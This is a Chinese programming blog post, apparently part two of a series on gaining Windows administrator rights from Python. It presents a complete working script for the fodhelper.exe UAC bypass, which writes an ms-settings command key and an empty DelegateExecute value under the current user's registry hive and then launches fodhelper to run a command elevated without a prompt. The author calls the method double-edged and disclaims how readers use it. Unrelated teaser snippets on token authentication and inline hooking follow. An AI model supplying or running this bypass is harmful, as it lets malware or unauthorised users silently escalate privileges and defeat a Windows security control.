python如果獲取windows管理員許可權(二)

2021-08-14 10:52:50 字數 2575 閱讀 5394

我們在python如果獲取windows管理員許可權(一)中談到了uac的問題。

很多時候我們不希望我們的軟體彈出uac提示,這個時候我們可以通過登錄檔的方法去解決。這其實已經不在是乙個安全的程式設計了,它變成了一把雙刃劍。

當然我們只是討論這種問題該怎麼解決。具體用在什麼方面那是你的問題咯!

通過下面的**我們可以輕鬆繞過uac

# -*- coding: utf-8 -*-

"""created on mon jan 8 09:09:51 2018

@author: coordinate

"""from __future__ import print_function

import os

import sys

import ctypes

if sys.version_info[0]

==3:import winreg as winreg

else

:import _winreg as winreg

cmd = r"c:\windows\system32\cmd.exe"

fod_helper = r'c:\windows\system32\fodhelper.exe'

python_cmd =

"python"

reg_path =

'software\classes\ms-settings\shell\open\command'

delegate_exec_reg_key =

'delegateexecute'

defis_admin()

:'''

checks if the script is running with administrative privileges.

returns true if is running as admin, false otherwise.

'''try:

return ctypes.windll.shell32.isuseranadmin(

)except

:return

false

defcreate_reg_key

(key, value)

:'''

creates a reg key

'''try:

winreg.createkey(winreg.hkey_current_user, reg_path)

registry_key = winreg.openkey(winreg.hkey_current_user, reg_path,

0, winreg.key_write)

winreg.setvalueex(registry_key, key,

0, winreg.reg_sz, value)

winreg.closekey(registry_key)

except windowserror:

raise

defbypass_uac

(cmd)

:'''

tries to bypass the uac

'''try:

create_reg_key(delegate_exec_reg_key,'')

create_reg_key(

none

, cmd)

except windowserror:

raise

defexecute()

:ifnot is_admin():

print

('[!] the script is not running with administrative privileges'

)print

('[+] trying to bypass the uac'

)try

:

current_dir = __file__

cmd =

'{} /k {} {}'

.format

(cmd, python_cmd, current_dir)

bypass_uac(cmd)

os.system(fod_helper)

sys.exit(0)

except windowserror:

sys.exit(1)

else

:#這裡新增我們需要管理員許可權的**

print

('[+] the script is running with administrative privileges!'

)if __name__ ==

'__main__'

: execute(

)

其實我們這個**這裡主要是往登錄檔中新增了這兩項

如果獲取token

基於 token 的身份驗證 使用基於 token 的身份驗證方法,在服務端不需要儲存使用者的登入記錄。流程是這樣的 客戶端使用使用者名稱跟密碼請求登入 服務端收到請求,去驗證使用者名稱與密碼 驗證成功後,服務端會簽發乙個 token,再把這個 token 傳送給客戶端 客戶端收到 token 以後...

python如果獲取windows管理員許可權(一)

我們在執行我們編寫好的python 時,會碰到這樣的報錯問題 permissionerror winerror 5 拒絕訪問。這是因為我們編寫的指令碼的許可權不夠。一種解決辦法是在管理員cmd中執行我們的指令碼 右鍵以 run as administrator 但是這種辦法不夠優雅。我們經常看到當我...

如果獲取庫函式的臨時變數?

inline hook的本質是加跳轉指令,在x86下實現比較簡單,一般用push addr ret即可 這條指定的含義是 將指定的位址壓棧,然後返回到該位址,從而實現hook 然後在指定函式內的hook,需要維持堆疊平衡,因為假設hooked之後想要跳回函式執行,但當前的上下文已經改變,這時候若跳回...